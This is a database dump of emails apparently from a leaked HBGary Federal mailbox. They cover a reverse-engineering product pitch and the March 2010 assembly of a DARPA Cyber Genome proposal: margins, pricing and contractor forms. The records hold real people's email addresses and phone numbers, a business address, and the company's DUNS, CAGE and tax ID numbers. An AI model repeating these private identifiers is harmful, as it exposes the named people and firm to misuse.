RANDOM CONTENT WHICH MAY OR MAY NOT BE USED.\r\n\r\n&nbsp;\r\n\r\nThe\r\nunderlying technology for the Dataflow Tracer is an emulated CPU state\r\nmachine.&nbsp; We would emulate the CPU.&nbsp; Emulate all instructions, how the cpu\r\noperates on data, maintain cpu state with every instruction. Record memory\r\nchanges and track memory samples.\r\n\r\n&nbsp;\r\n\r\nFollows\r\ndata through an entire function, through multiple functions and threads.\r\n\r\n&nbsp;\r\n\r\nThe\r\ndata flow tracing provides reconstruction of classes and structures.&nbsp; Can build\r\nUML diagrams or pseudo code from it.&nbsp; Multi-function, multi-process,\r\nmulti-thread data flow tracing.\r\n\r\n&nbsp;\r\n\r\nUnderstanding\r\ndynamically allocated data structures and how they are utilized by software can\r\nbe a time consuming process.&nbsp; Locating each individual structure member and\r\nwhere it is accessed is a daunting task even for experienced reverse\r\nengineers.&nbsp; \r\n\r\n&nbsp;\r\n\r\nallowing\r\nan operator to target and track any structure in memory and determine where and\r\nhow each structure member is accessed.&nbsp; The data size, type, and sign can be\r\ndetermined using a combination of the dataflow trace and an HBGary internal\r\nalgorithm.&nbsp; This structure information allows CSR to monitor dynamic class\r\ncreation, vtables, data members, and inheritance of classes.\r\n\r\n&nbsp;\r\n\r\nWith\r\na single trace, CSR can solve in seconds what used to take hours or even days\r\nof manual analysis to recreate.\r\n\r\n&nbsp;\r\n\r\nDevelop Class and Structure Recovery\r\n\r\nAnalyzing the dynamic nature of\r\nsoftware requires understanding dynamically allocated data structures.&nbsp; A\r\nstructure is a collection of variables under a single name.&nbsp; These variables\r\ncan be of different types, and each has a name which is used to select it from\r\nthe structure.&nbsp; A structure is a convenient way of grouping several pieces of\r\nrelated information together. \r\n\r\n&nbsp;\r\n\r\nTo inspect or study software internal and/or external\r\noperation requires identification, interrelationship, and understanding of the\r\nsoftware objects.&nbsp; Low level data constructs such as structures and classes\r\norganize variable data or code in most modern programming languages.\r\n\r\nRecovering Structures\r\n\r\n\r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n \r\n\r\n \r\n \r\nIt\r\nis a daunting task to piece together how these special variables are utilized\r\nby the software using current methods.&nbsp; It requires locating each individual\r\nstructure member and where it is accessed.&nbsp; The normal method for such work\r\ninvolves time consuming static analysis, single stepping in a debugger, and a\r\nscratch pad for notes.&nbsp; \r\n\r\n\r\n \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n \r\n \r\n  \r\n \r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHBGary proposes Class and\r\nStructure Recovery (CSR) technology so this lengthy process can be completed in\r\ndramatically less time.&nbsp; That equals better results and money saved.&nbsp; \r\n\r\n&nbsp;\r\n\r\nCSR will\r\nwork by setting a breakpoint on malloc(), the memory allocation routine,\r\nand by tracing each newly allocated buffer after birth.&nbsp; A malloc&#8217;ed\r\nbuffer is required to house the members of the structure.&nbsp; Once offsets into a\r\nstructure instance are detected (by Inspector) as being loaded into a register\r\nor temporary variable, dataflow can be used to trace out all the arithmetic\r\noperations on that data.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIn the illustrations above we\r\nsee the real source code of a test program, which includes a structure.&nbsp;\r\nInspector, with no knowledge of this source, will be able to identify each\r\nstructure and determine the size, sign, offset, etc of each member within the\r\nnewly discovered structure.&nbsp; This is done automatically via with run trace\r\ninspection and the techniques just described.\r\n\r\nRecovering Classes\r\n\r\nData and control-flow\r\ninformation are often stored together in the form of a class.&nbsp; The data\r\nis typically in the form of variables or structures, and the control-flow is\r\nusually in the form of function pointers.&nbsp; Those functions can be later called\r\nto affect control-flow.\r\n\r\n&nbsp;\r\n\r\nThe manner by which\r\nmalloc-tracked data is used in relation to calls, can be used to track vtables,\r\nclasses, class inheritance, and overridden functions.&nbsp; Inheritance is a typical\r\nobject oriented phenomena where one class is derived from a parent class\r\n(&#8220;built from&#8221; using the former as a base).\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n \r\n\r\n \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTo track allocated classes and\r\nvtables in Inspector, start a dataflow trace on the &#8220;new&#8221; function\r\nand track usage of the class.&nbsp; Track the vtable to reveal inheritance.&nbsp; The\r\nHBGary Class Viewer mock screenshot shows automatic recovery indicating that\r\nClass1 and Class2 were derived from Class0.\r\n\r\n&nbsp;\r\n\r\nSummary\r\n\r\nThe relationships between\r\nclasses, structures, and the code that interoperates with them will be graphed\r\nin an intuitive manner.&nbsp; These new features will be seamlessly integrated into\r\nthe existing code-centric features of HBGary Inspector&#8482;.\r\n\r\n&nbsp;\r\n\r\nHBGary&#8217;s unique dataflow\r\ntracing engine is the core of our new CSR technology, allowing an operator to\r\ntarget and track any structure in memory and determine where and how each\r\nstructure member is accessed.&nbsp; The data size, type, and sign can be determined\r\nusing a combination of the dataflow trace and an HBGary internal algorithm.&nbsp;\r\nThis structure information allows CSR to monitor dynamic class creation,\r\nvtables, data members, and inheritance of classes.&nbsp; With a single trace, CSR\r\ncan solve in seconds what used to take hours or even days of manual analysis to\r\nrecover and recreate.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11154,'aaron_hbgary_com/11154.html'),(4652,'2010-03-27','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002770.M29381P3547Q4652.eml','\"Aaron Barr\" <aaron@hbgary.com>','TA3 document','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nFYI, the words &#8220;Relevance to Technical Area 1&#8221;\r\nappear in your TA3 document, pages 40 to 44.\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14484,'aaron_hbgary_com/14484.html'),(4653,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002775.M870795P3547Q4653.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Updated Doc with new margins now at 40 pages.','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16314,'aaron_hbgary_com/16314.html'),(4654,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002776.M190907P3547Q4654.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: TA3 document','tks I will take a look.On Mar 26, 2010, at 10:15 PM, Starr, Christopher H. wrote:Aaron,&nbsp;FYI, the words “Relevance to Technical Area 1” appear in your TA3 document, pages 40 to 44.&nbsp;Chris&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9436,'aaron_hbgary_com/9436.html'),(4655,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002779.M336498P3547Q4655.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Phil Porras\" <porras@csl.sri.com>,\"Vinod Yegneswaran\" <vinod@csl.sri.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>,\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>','Last Chance','Ok All.  Getting close.  There are still a few sections I am working (SMART) and (BRAIN) are still not right.  Also the comparisons with research I am working.  Other than that besides pricing it is ready for some critical comments, so please take a look.  No major edits, but if you think something doesn\'t flow, or is not right, something missing please let me know.\r\n\r\n',7578,'aaron_hbgary_com/7578.html'),(4656,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002784.M516658P3547Q4656.eml','\"Aaron Barr\" <aaron@hbgary.com>','address','3604 FAIR OAKS BLVD BLDG B STE 250\r\nSACRAMENTO\r\nCA	*Zip	95864\r\n',4464,'aaron_hbgary_com/4464.html'),(4657,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002786.M77467P3547Q4657.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','Re: Proposal - Missing or Incorrect Information - HBGary','Cindy,\r\n\r\nAttached are completed Attachments 3 & 4.  Attachment 5 states that it\r\ndoes not apply to small businesses (please let me know if I am\r\nmisinterpreting the requirement).\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn 3/26/10 3:00 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> I looked over the proposal information I\'ve received from you and\r\n> require the following:\r\n>  \r\n> (1)  Pricing Spreadsheet - The Cost Volume Cover Page tab, Item 15,\r\n> identifies your proposal as Cost Plus Fixed Fee which is incorrect.  Can\r\n> you give Rex Brunelli permission to correct this Proposal Cover Sheet to\r\n> read FFP/LOE?  Or, would you like to correct this tab and resend the\r\n> Pricing Spreadsheet to us?  The  Your proposal cover letter identifies\r\n> your proposal as FFP/LOE which is correct.\r\n>  \r\n> (2)  I cannot locate the completed and signed Attached 3 & 4 Reps/Certs\r\n> and Attachment 5 - CAS.  Please send these to me ASAP.  Per the attached\r\n> email this action was previously assigned to Aaron.\r\n>  \r\n> (3)  Refer to RFP Attachment 1, Items 5, 9, 12, 14 and 18.  - need your\r\n> response to all.\r\n>  \r\n> Thanks,\r\n>  \r\n> Cindy\r\n>  \r\n>  \r\n> \r\n\r\n',13873,'aaron_hbgary_com/13873.html'),(4658,'2010-03-27','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002794.M727823P3547Q4658.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','Aaron,Here&#39;s what I&#39;ve got this evening.  Still need to work on the detailed description following p 33, but wanted to get this off to you for tomorrow&#39;s final push.  Note my more significant points in comments.\r\nOverall it&#39;s holding together, but needs more severe chopping of 5 pages to get down to 44 pages (with powerpoints).  If schedule milestones can be split between pages, that will probably give us a page right there.  Given evaluation criteria -- \r\n\r\n(a)\r\nOverall Scientific and Technical Merit; (b) Potential Contribution and\r\nRelevance to the DARPA Mission; (c) Proposer’s Capabilities and Related Experience;\r\n(d) Cost and Schedule Realism; and (e) Plans and Capability to Accomplish\r\nTechnology Transition.) -- probably best to cut back on past performance text in favor of technical merit.As you noted, Section IIC is not yet done, leaving a major gap that needs to be addressed: quantitative and qualitative success criteria\r\nthat the proposed technology will achieve by the time of each Phase’s program\r\nmetric measurementI&#39;ll await your review of this and input of outstanding sections and then dig back in tomorrow, I gather after midday?MikeOn Fri, Mar 26, 2010 at 3:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nLastest Doc.This should be a good copy for a while.  :)-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499\r\nmbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',1980,'aaron_hbgary_com/1980.html'),(4659,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002795.M112010P3547Q4659.eml','\"MB Toth\" <mbt.rbtoth@gmail.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','Re: Proposal','Thank you mike I will take a look. &nbsp;We found a loophole in the proposal, no margins specified so we changed the margins to .5 all around and now we are at the page limit, but still have some info to insert as you noted. &nbsp;I will incorporate your comments as well as some additional material and shoot it back out to you. &nbsp;Based on where we are I don\'t believe we will have costing info integrated until Sunday but we will see. &nbsp;That is unfortunately Teds burden.AaronOn Mar 27, 2010, at 12:39 AM, MB Toth wrote:Aaron,Here\'s what I\'ve got this evening.&nbsp; Still need to work on the detailed description following p 33, but wanted to get this off to you for tomorrow\'s final push.&nbsp; Note my more significant points in comments.\r\nOverall it\'s holding together, but needs more severe chopping of 5 pages to get down to 44 pages (with powerpoints).&nbsp; If schedule milestones can be split between pages, that will probably give us a page right there.&nbsp; Given evaluation criteria -- \r\n\r\n(a)\r\nOverall Scientific and Technical Merit; (b) Potential Contribution and\r\nRelevance to the DARPA Mission; (c) Proposer’s Capabilities and Related Experience;\r\n(d) Cost and Schedule Realism; and (e) Plans and Capability to Accomplish\r\nTechnology Transition.) -- probably best to cut back on past performance text in favor of technical merit.As you noted, Section IIC is not yet done, leaving a major gap that needs to be addressed: quantitative and qualitative success criteria\r\nthat the proposed technology will achieve by the time of each Phase’s program\r\nmetric measurementI\'ll await your review of this and input of outstanding sections and then dig back in tomorrow, I gather after midday?MikeOn Fri, Mar 26, 2010 at 3:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nLastest Doc.This should be a good copy for a while. &nbsp;:)-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499\r\nmbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n&lt;Cyber Genome TA3 Volume I_DRAFT_v3-mbt.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4575,'aaron_hbgary_com/4575.html'),(4660,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002797.M215207P3547Q4660.eml','\"Aaron Barr\" <aaron@hbgary.com>','HBGary DUNS CAGE CODE NAICS','Attached\r\n',3037,'aaron_hbgary_com/3037.html'),(4661,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002804.M544457P3547Q4661.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Proposal','\r\n\r\nBegin forwarded message:\r\n\r\n> From: MB Toth \r\n> Date: March 27, 2010 12:39:09 AM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: Proposal\r\n> \r\n> Aaron,\r\n> \r\n> Here\'s what I\'ve got this evening.  Still need to work on the detailed description following p 33, but wanted to get this off to you for tomorrow\'s final push.  Note my more significant points in comments.\r\n> \r\n> Overall it\'s holding together, but needs more severe chopping of 5 pages to get down to 44 pages (with powerpoints).  If schedule milestones can be split between pages, that will probably give us a page right there.  Given evaluation criteria -- (a) Overall Scientific and Technical Merit; (b) Potential Contribution and Relevance to the DARPA Mission; (c) Proposer’s Capabilities and Related Experience; (d) Cost and Schedule Realism; and (e) Plans and Capability to Accomplish Technology Transition.) -- probably best to cut back on past performance text in favor of technical merit.\r\n> \r\n> As you noted, Section IIC is not yet done, leaving a major gap that needs to be addressed: quantitative and qualitative success criteria that the proposed technology will achieve by the time of each Phase’s program metric measurement\r\n> \r\n> I\'ll await your review of this and input of outstanding sections and then dig back in tomorrow, I gather after midday?\r\n> \r\n> Mike\r\n> \r\n> On Fri, Mar 26, 2010 at 3:14 PM, Aaron Barr  wrote:\r\n> \r\n> \r\n> Lastest Doc.\r\n> \r\n> This should be a good copy for a while.  :)\r\n> \r\n> \r\n> -- \r\n> R.B. Toth Associates\r\n> Oakton, Virginia, USA\r\n> \r\n> 703 938-4499\r\n> mbt.rbtoth@gmail.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4194,'aaron_hbgary_com/4194.html'),(4662,'2010-03-27','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002805.M162729P3547Q4662.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','Aaron,Yep, I think the loophole is indeed open with half inch margins all around, except the cover sheet (since they say to follow their template for the cover sheet, which has 1 inch margins).I think key areas that aren&#39;t addressed are the phasing with 1 year phases, as well as the success criteria.\r\nI&#39;ll stand by later tomorrow for another review -- into Sunday if that is needed.MikeOn Sat, Mar 27, 2010 at 12:43 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThank you mike I will take a look.  We found a loophole in the proposal, no margins specified so we changed the margins to .5 all around and now we are at the page limit, but still have some info to insert as you noted.  I will incorporate your comments as well as some additional material and shoot it back out to you.  Based on where we are I don&#39;t believe we will have costing info integrated until Sunday but we will see.  That is unfortunately Teds burden.\r\nAaronOn Mar 27, 2010, at 12:39 AM, MB Toth wrote:Aaron,Here&#39;s what I&#39;ve got this evening.  Still need to work on the detailed description following p 33, but wanted to get this off to you for tomorrow&#39;s final push.  Note my more significant points in comments.\r\n\r\nOverall it&#39;s holding together, but needs more severe chopping of 5 pages to get down to 44 pages (with powerpoints).  If schedule milestones can be split between pages, that will probably give us a page right there.  Given evaluation criteria -- (a)\r\nOverall Scientific and Technical Merit; (b) Potential Contribution and\r\nRelevance to the DARPA Mission; (c) Proposer’s Capabilities and Related Experience;\r\n(d) Cost and Schedule Realism; and (e) Plans and Capability to Accomplish\r\nTechnology Transition.) -- probably best to cut back on past performance text in favor of technical merit.As you noted, Section IIC is not yet done, leaving a major gap that needs to be addressed: quantitative and qualitative success criteria\r\nthat the proposed technology will achieve by the time of each Phase’s program\r\nmetric measurementI&#39;ll await your review of this and input of outstanding sections and then dig back in tomorrow, I gather after midday?MikeOn Fri, Mar 26, 2010 at 3:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nLastest Doc.This should be a good copy for a while.  :)-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499\r\n\r\nmbt.rbtoth@gmail.com\r\n\r\n&lt;Cyber Genome TA3 Volume I_DRAFT_v3-mbt.docx&gt;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',10912,'aaron_hbgary_com/10912.html'),(4663,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002808.M334698P3547Q4663.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','CORRECTED COPY -- Re: Proposal - Missing or Incorrect Information - HBGary','Cindy,\r\n\r\nPlease disregard the previous files I sent.  I had the wrong DUNS number\r\nby accident.  Attached are corrected copies.\r\n\r\nDUNS:  832950831\r\nCage Code:  5U1U6\r\nTIN/EIN:  271485507\r\n\r\nSorry for the inconvenience,\r\nTed\r\n\r\n\r\n\r\nOn 3/26/10 10:16 PM, Ted Vera wrote:\r\n> Cindy,\r\n> \r\n> Attached are completed Attachments 3 & 4.  Attachment 5 states that it\r\n> does not apply to small businesses (please let me know if I am\r\n> misinterpreting the requirement).\r\n> \r\n> Regards,\r\n> Ted\r\n> \r\n> \r\n> \r\n> On 3/26/10 3:00 PM, Larson, Cindy S. wrote:\r\n>> Hi Ted,\r\n>>  \r\n>> I looked over the proposal information I\'ve received from you and\r\n>> require the following:\r\n>>  \r\n>> (1)  Pricing Spreadsheet - The Cost Volume Cover Page tab, Item 15,\r\n>> identifies your proposal as Cost Plus Fixed Fee which is incorrect.  Can\r\n>> you give Rex Brunelli permission to correct this Proposal Cover Sheet to\r\n>> read FFP/LOE?  Or, would you like to correct this tab and resend the\r\n>> Pricing Spreadsheet to us?  The  Your proposal cover letter identifies\r\n>> your proposal as FFP/LOE which is correct.\r\n>>  \r\n>> (2)  I cannot locate the completed and signed Attached 3 & 4 Reps/Certs\r\n>> and Attachment 5 - CAS.  Please send these to me ASAP.  Per the attached\r\n>> email this action was previously assigned to Aaron.\r\n>>  \r\n>> (3)  Refer to RFP Attachment 1, Items 5, 9, 12, 14 and 18.  - need your\r\n>> response to all.\r\n>>  \r\n>> Thanks,\r\n>>  \r\n>> Cindy\r\n>>  \r\n>>  \r\n>>\r\n> \r\n\r\n',8834,'aaron_hbgary_com/8834.html'),(4664,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002809.M456788P3547Q4664.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal - Missing or Incorrect Information - HBGary','In reference to RFP Attachment 1:\r\n\r\nItem 5:  I included the FFRDC statement in the revised cover letter\r\n(attached).\r\nItem 9:  I included the Foreign Nationals statement in the revised cover\r\nletter (attached).\r\nItem 12:  The team organization information was previously sent and is\r\nincluded in the GD Proposal.  Please let us know if you need this\r\nseparately.\r\nItem 14:  Tech/Security/Contract POCs have been added to the revised\r\ncover letter (attached).\r\nItem 18:  We have no execeptions to the RFP or SOW.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n>  \r\n> (3)  Refer to RFP Attachment 1, Items 5, 9, 12, 14 and 18.  - need your\r\n> response to all.\r\n>  \r\n> Thanks,\r\n>  \r\n> Cindy\r\n>  \r\n>  \r\n> \r\n\r\n',4566,'aaron_hbgary_com/4566.html'),(4665,'2010-03-27','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002810.M269134P3547Q4665.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary\'s Data Rights Assertions','I updated the Assertions table in the updated cover letter which is now\r\nembedded in the attached excel (and sent separately in previous email as\r\na word doc).\r\n\r\nTed\r\n\r\n\r\n\r\nOn 3/26/10 3:38 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n> \r\n> Okay, per Bob\'s response below, we will identify on GDAIS  Proposal Data\r\n> Rights Assertion Table (that will be submitted to DARPA) to read:\r\n> \r\n> HBGary REconTM commercial software (1) - this is the information I\r\n> received in Bob\'s email this morning.  It will not read \'HBGary\r\n> Responder TM Field Edition commercial software (1).\' \r\n> \r\n> I believe you will need to correct the Assertions table located in your\r\n> Pricing Spreadsheet  (March 17th embedded letter) so that the GDAIS\r\n> Assertions Table matches HBGary Assertions Table.  Otherwise, we will\r\n> have a disconnect to DARPA.  The March 17th embedded letter currently\r\n> reads \'HBGary Responder TM Field Edition commercial software (1).\' \r\n> \r\n>  I clicked on the cover letter tab in the Pricing Spreadsheet and cannot\r\n> access the letter to confirm this change needs to take place.  Can you\r\n> open this tab on your pricing speadsheet and confirm back to me?  If the\r\n> change is needed, please update and resend the Pricing Spreadsheet to\r\n> us.\r\n> \r\n> \r\n> Thanks,\r\n> Cindy\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Friday, March 26, 2010 1:47 PM\r\n> To: Larson, Cindy S.; \'Aaron Barr\'\r\n> Subject: Fwd: RE: RE: HBGary\'s Data Rights Assertions\r\n> \r\n> Cindy,\r\n> \r\n> Bob\'s content is correct.\r\n> \r\n> Ted\r\n> \r\n> \r\n> -------- Original Message --------\r\n> Subject: RE: RE: HBGary\'s Data Rights Assertions\r\n> Date: Fri, 26 Mar 2010 16:39:21 -0400\r\n> From: Bob Slapnik \r\n> To: \'Ted Vera\' ,	\'Aaron Barr\' \r\n> \r\n> Yes.  What I sent to GD today is identical to the latest content I gave\r\n> Aaron for TA3.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, March 26, 2010 4:26 PM\r\n> To: \'Aaron Barr\'; Bob Slapnik\r\n> Subject: Fwd: RE: HBGary\'s Data Rights Assertions\r\n> \r\n> Bob,\r\n> \r\n> Is it safe to say that what you sent to GD for TA1 IP today is the\r\n> latest and greatest - which supersedes previous versions?\r\n> \r\n> Ted\r\n> \r\n> \r\n> -------- Original Message --------\r\n> Subject: RE: HBGary\'s Data Rights Assertions\r\n> Date: Fri, 26 Mar 2010 15:22:04 -0500\r\n> From: Larson, Cindy S. \r\n> To: Ted Vera \r\n> \r\n> Hi Ted,\r\n> \r\n> I do have a question regarding the IP assertions that Bob sent today,\r\n> 3/26.   In the Table of Bob\'s email, the last line shows HBGary Recon TM\r\n> commercial software (1).  However, what you sent to me today that was\r\n> embedded in the Excel spreadsheet (letter dated 3/17) identifies HBGary\r\n> Responder Field Edition commercial software (1) on the last line of the\r\n> Table.\r\n> \r\n> Which is correct?\r\n> \r\n> I\'ll look over your other information and get back to you.\r\n> \r\n> Regards,\r\n> Cindy\r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Friday, March 26, 2010 12:49 PM\r\n> To: Larson, Cindy S.\r\n> Subject: Re: HBGary\'s Data Rights Assertions\r\n> \r\n> Hi Cindy,\r\n> \r\n> I believe Bob Slanpik forwarded the IP data rights assertions.  Have you\r\n> received it?\r\n> \r\n> I embedded the proposal cover letter in the cost spreadsheet on the\r\n> cover letter tab as an embedded word document.  I\'ve attached it to this\r\n> email as well.\r\n> \r\n> Please let me know if you need anything else.\r\n> \r\n> Thanks,\r\n> Ted\r\n> \r\n> \r\n> \r\n> \r\n> On 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n>> Hi Ted,\r\n>>  \r\n>> We\'ve had several conversations with your team regarding HBGary\'s data\r\n> \r\n>> rights assertions.  I haven\'t received the applicable completed Table \r\n>> from you that describes the Assertions.  Please refer to my RFP \r\n>> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete \r\n>> the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n> \r\n>> Today.\r\n>>  \r\n>> I also haven\'t received your proposal cover letter that addresses all \r\n>> other items required by my RFP and Attachment 1.  If I\'ve overlooked \r\n>> it please advise.\r\n>>  \r\n>> Thanks,\r\n>> Cindy\r\n>>  \r\n>>\r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n> 03:33:00\r\n> \r\n> \r\n\r\n',12828,'aaron_hbgary_com/12828.html'),(4666,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002810.M505939P3547Q4666.eml','\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Divide and conquer','Ok guys crunch time (that really sounds cheesy).\r\n\r\nTed.  I looked at the cost and schedule areas in tech volume and I can\r\ndo those and have started.  So u just focus on cost volume.\r\n\r\nBob,  I think I am going to need you to take the reasoning section,\r\nbut save for last.  I also really want you to be reading the overall\r\nproposal.  I am working the overall volume and doing the cost,\r\nschedule, and milestones section.\r\n\r\nI think with that partition we will be able to get done by tomorrow\r\nnight with a good proposal.  Section 3.I gives us a lot of pricing\r\nwiggle room thankfully because I think we are over price.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',8655,'aaron_hbgary_com/8655.html'),(4667,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002813.M560880P3547Q4667.eml','\"Ted Vera\" <ted@hbgary.com>','file','\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6641,'aaron_hbgary_com/6641.html'),(4668,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002813.M905405P3547Q4668.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Divide and conquer','OK. Go it. Will be working all day.  Couldn\'t sleep for a long time last\r\nnight.  Getting a bit of a late start today.\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 9:10 AM\r\nTo: Ted Vera; Bob Slapnik\r\nSubject: Divide and conquer\r\n\r\nOk guys crunch time (that really sounds cheesy).\r\n\r\nTed.  I looked at the cost and schedule areas in tech volume and I can\r\ndo those and have started.  So u just focus on cost volume.\r\n\r\nBob,  I think I am going to need you to take the reasoning section,\r\nbut save for last.  I also really want you to be reading the overall\r\nproposal.  I am working the overall volume and doing the cost,\r\nschedule, and milestones section.\r\n\r\nI think with that partition we will be able to get done by tomorrow\r\nnight with a good proposal.  Section 3.I gives us a lot of pricing\r\nwiggle room thankfully because I think we are over price.\r\n\r\nAaron\r\n\r\n From my iPhone\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 